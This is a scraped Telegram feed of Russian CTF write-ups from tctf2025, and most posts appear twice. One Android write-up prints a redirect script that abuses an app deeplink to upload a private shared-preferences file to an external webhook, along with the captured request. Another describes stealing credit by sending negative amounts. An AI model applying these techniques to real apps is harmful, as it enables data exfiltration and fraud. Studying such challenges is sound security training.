#HackOSINT2024, #kubanctf2024, #КубокCTF2024, #RedShift2024, #SpookyCTF2024, #чемпионатпервенство2024, #VolgaCTF_2025 #tctf2025, #КубокCTF2025, #cybercamp2025
#standoff365, #codebygames, #taipanbyte, #polyctf
бот в котором собраны все задачи, где их можно решать и получать баллы: @writeup_ctf_bot
#таск@writeup_ctf
#рекомендация@writeup_ctf #мемы, #полезное
обнял и жму краба
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Чат 💬 Райтапы по CTF{2025}
❤️ Ламповый чатик для котяток и кибер-котлеток
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
🔥11❤1
Капибрань.zip
3.6 KB
#network #trick #tctf2025
Капибрань
В задании нужно было найти страну клиента, который делает запросы через различные (9) прокси.
Если отправить какие-либо данные клиенту, он сразу же ответит, из чего можно узнать RTT (round-trip time) между своим сервером и клиентом. Тогда, если вычесть RTT между сервером и прокси, мы получим RTT между клиентом и прокси.
Считая, что оно пропорционально расстоянию от клиента до прокси <=> скорость постоянна, можно найти страну, для которой значения скорости примерно одинаковы, это можно сделать, например, вычислив стандартное отклонение.
Такое решение неидеально, для некоторых стран полученные отклонения могут быть очень близки, и нужно определять страну по RTT вручную.
Например, в моем случае у Испании и Швеции были почти одинаковые значения отклонения, но RTT равнялся ~330/370 мс, если клиент был в Испании/Швеции и передавал данные через 138.199.60.5 (да, можно было просто сделать таблицу с RTT для всех стран и одного/нескольких прокси и искать страны по ней, но это неинтересно).
Автор: @q4927
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибрань
В задании нужно было найти страну клиента, который делает запросы через различные (9) прокси.
Если отправить какие-либо данные клиенту, он сразу же ответит, из чего можно узнать RTT (round-trip time) между своим сервером и клиентом. Тогда, если вычесть RTT между сервером и прокси, мы получим RTT между клиентом и прокси.
Считая, что оно пропорционально расстоянию от клиента до прокси <=> скорость постоянна, можно найти страну, для которой значения скорости примерно одинаковы, это можно сделать, например, вычислив стандартное отклонение.
Такое решение неидеально, для некоторых стран полученные отклонения могут быть очень близки, и нужно определять страну по RTT вручную.
Например, в моем случае у Испании и Швеции были почти одинаковые значения отклонения, но RTT равнялся ~330/370 мс, если клиент был в Испании/Швеции и передавал данные через 138.199.60.5 (да, можно было просто сделать таблицу с RTT для всех стран и одного/нескольких прокси и искать страны по ней, но это неинтересно).
Автор: @q4927
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
Строка.zip
64.5 KB
#misc #network #coding #tctf2025
Капибегущая строка
Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)
Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.
Логика этого преобразования следующая:
Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).
Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.
Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:
Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.
Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.
Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.
Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.
Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.
Пример:
Допустим, GRID_COLS = 13.
Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)
Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)
Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)
Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)
Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера
Автор: @K1rlII
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибегущая строка
Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)
Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.
Логика этого преобразования следующая:
Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).
Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.
Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:
Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.
Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.
Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.
Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.
Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.
Пример:
Допустим, GRID_COLS = 13.
Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)
Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)
Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)
Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)
Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера
Автор: @K1rlII
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5⚡1❤1
extension_71db2d8.zip
4.5 KB
#web #reverse #infra #tctf2025
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
#mobile #tctf2025
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
Из него мы видим, что есть какой-то
Попробуем добавить в
Далее в
Гуглим и находим, что в теге
Отсюда понимаем, что у deeplink есть 2 параметра -
Ну и на наш сервер прилетает ответ:
Автор: @tonysdx
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
public interface Api {
@FormUrlEncoded
@POST("/api/partners/add")
Object addPartner(@Field("name") String str, @Field("homePageUrl") String str2, Continuation<? super Response<Unit>> continuation);
@POST("/api/approve")
Object approve(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
@GET("/api/partners")
Object getPartners(Continuation<? super Response<List<Partners>>> continuation);
@GET("/api/posts")
Object getPosts(Continuation<? super Response<List<Post>>> continuation);
@GET("/api/unapproved")
Object getUnapproved(@Query("secret") String str, Continuation<? super Response<List<Partners>>> continuation);
@POST("/api/reject")
Object reject(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
}Из него мы видим, что есть какой-то
secret, который мы не знаем, и есть незащищенные ручки, в частности /api/partners/add с query parameters name и homePageUrlПопробуем добавить в
homePageUrl свой url своего сервера и увидим, что туда ходит бот!Далее в
AndroidManifest.xml:<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="supportreport" android:scheme="bone"/>
</intent-filter>
Гуглим и находим, что в теге
data зарегистрирован так называемый deeplink bone://supportreport, который вызывает Intent функцию у нашего приложения:private final void handleIntent(Intent intent) {
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null) {
return;
}
String queryParameter = data.getQueryParameter("file");
String queryParameter2 = data.getQueryParameter(ImagesContract.URL);
if (queryParameter != null && queryParameter2 != null) {
createTempFileAndSend(queryParameter, queryParameter2);
} else {
Toast.makeText(this, "Неверные параметры в deeplink", 0).show();
}
}Отсюда понимаем, что у deeplink есть 2 параметра -
ImagesContract.URL = "url" и file. Покопав код и подебажив код, обнаруживаем, что при помощи deeplink мы можем отправлять файлы с локального устройства на любой url. Однако методом тыка обнаруживаем, что бот не ходит на bone:// ссылки изначально. Поэтому добавляем на наш сайт редирект на ссылку bone://, где file это сохраненный SharedPreferences в формате .xml:<!DOCTYPE html>
<script>
window.location.href = "bone://supportreport?file=/data/data/com.epriori.bone/shared_prefs/moderator_info.xml&url=https://webhook.site/b125b29d-ab76-403d-b8c1-0a431370b7f3";
</script>
Ну и на наш сервер прилетает ответ:
POST / HTTP/1.1
Host: l.requestcatcher.com
Accept-Encoding: gzip
Connection: Keep-Alive
Content-Length: 340
Content-Type: multipart/form-data; boundary=1875aa9b-8256-4409-95a4-b2781be8c082
User-Agent: okhttp/3.14.9
--1875aa9b-8256-4409-95a4-b2781be8c082
Content-Disposition: form-data; name="file"; filename="moderator_info.xml"
Content-Type: text/plain
Content-Length: 131
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="moderator_key">tctf{b3_CArEFul_W1Th_7H3_dE3P_L1nk}</string>
</map>
--1875aa9b-8256-4409-95a4-b2781be8c082--
Автор: @tonysdx
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12⚡1❤1
#web #tctf2025
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐2⚡1🥴1 1
1.jpg
63.3 KB
#reverse #tctf2025
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1